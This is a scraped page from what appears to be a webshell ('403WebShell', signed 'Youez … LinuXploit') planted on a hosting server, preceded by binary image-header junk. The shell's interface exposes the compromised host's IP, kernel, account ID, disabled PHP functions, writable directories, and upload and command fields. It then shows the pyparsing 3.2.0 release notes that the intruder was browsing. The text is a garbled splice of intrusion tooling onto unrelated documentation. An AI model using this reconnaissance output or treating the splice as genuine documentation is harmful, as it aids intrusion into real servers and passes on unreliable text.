JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 2.57.91.133  /  Your IP : 216.73.216.122
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/opt/./gsutil/third_party/pyparsing/docs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/opt/./gsutil/third_party/pyparsing/docs/whats_new_in_3_2.rst
=============================
What's New in Pyparsing 3.2.0
=============================

:author: Paul McGuire

:date: October, 2024

:abstract: This document summarizes the changes made
    in the 3.2.x releases of pyparsing.

.. sectnum::    :depth: 4

.. contents::   :depth: 4


Supported Python versions
=========================

- Added support for Python 3.13.

- Python versions before 3.9 are no longer supported.
  Removed legacy Py2.x support and other deprecated features. Pyparsing
  now requires Python 3.9 or later. If you are using an earlier 3.x
  version of Python, use pyparsing 3.1; for Python 2.x, use Pyparsing
  2.4.7.


New Features
============

- Added type annotations to remainder of ``pyparsing`` package, and added ``mypy``
  run to ``tox.ini``, so that type annotations are now run as part of pyparsing's CI.

- Exception message format can now be customized, by overriding
  ``ParseBaseException.format_message``::

      def custom_exception_message(exc) -> str:
          found_phrase = f", found {exc.found}" if exc.found else ""
          return f"{exc.lineno}:{exc.column} {exc.msg}{found_phrase}"

      ParseBaseException.formatted_message = custom_exception_message

- ``run_tests`` now detects if an exception is raised in a parse action, and will
  report it with an enhanced error message, with the exception type, string,
  and parse action name.

- ``QuotedString`` now handles translation of escaped integer, hex, octal, and
  Unicode sequences to their corresponding characters.

- Defined a more performant regular expression used internally by ``common_html_entity``.

- ``Regex`` instances can now be created using a callable that takes no arguments
  and just returns a string or a compiled regular expression, so that creating complex
  regular expression patterns can be deferred until they are actually used for the first
  time in the parser.

- Fixed the displayed output of ``Regex`` terms to deduplicate repeated backslashes,
  for easier reading in debugging, printing, and railroad diagrams.

- Fixed railroad diagrams that get generated with a parser containing a Regex element
  defined using a verbose pattern - the pattern gets flattened and comments removed
  before creating the corresponding diagram element.


API Changes
===========

Possible breaking changes
-------------------------
- Fixed code in ``ParseElementEnhance`` subclasses that
  replaced detailed exception messages raised in contained expressions with a
  less-specific and less-informative generic exception message and location.

  If your code has conditional logic based on the message content in raised
  ``ParseExceptions``, this bugfix may require changes in your code.

- Fixed bug in ``transform_string()`` where whitespace
  in the input string was not properly preserved in the output string.

  If your code uses ``transform_string``, this bugfix may require changes in
  your code.

- Fixed bug where an ``IndexError`` raised in a parse action was
  incorrectly handled as an ``IndexError`` raised as part of the ``ParserElement``
  parsing methods, and reraised as a ``ParseException``. Now an ``IndexError``
  that raises inside a parse action will properly propagate out as an ``IndexError``.

  If your code raises ``IndexError`` in parse actions, this bugfix may require
  changes in your code.


Additional API changes
----------------------
- Added optional ``flatten`` Boolean argument to ``ParseResults.as_list()``, to
  return the parsed values in a flattened list.

- Added ``indent`` and ``base_1`` arguments to ``pyparsing.testing.with_line_numbers``. When
  using ``with_line_numbers`` inside a parse action, set ``base_1``=False, since the
  reported ``loc`` value is 0-based. ``indent`` can be a leading string (typically of
  spaces or tabs) to indent the numbered string passed to ``with_line_numbers``.


New / Enhanced Examples
=======================
- Added query syntax to ``mongodb_query_expression.py`` with:

  - better support for array fields ("contains all",
    "contains any", and "contains none")
  - "like" and "not like" operators to support SQL "%" wildcard matching
    and "=~" operator to support regex matching
  - text search using "search for"
  - dates and datetimes as query values
  - ``a[0]`` style array referencing

- Added ``lox_parser.py`` example, a parser for the Lox language used as a tutorial in
  Robert Nystrom's "Crafting Interpreters" (http://craftinginterpreters.com/).

- Added ``complex_chemical_formulas.py`` example, to add parsing capability for
  formulas such as "Ba(BrO₃)₂·H₂O".

- Updated ``tag_emitter.py`` to use new ``Tag`` class, introduced in pyparsing
  3.1.3.


Acknowledgments
===============
Again, thanks to the many contributors who submitted issues, questions, suggestions,
and PRs.

Youez - 2016 - github.com/yon3zu
LinuXploit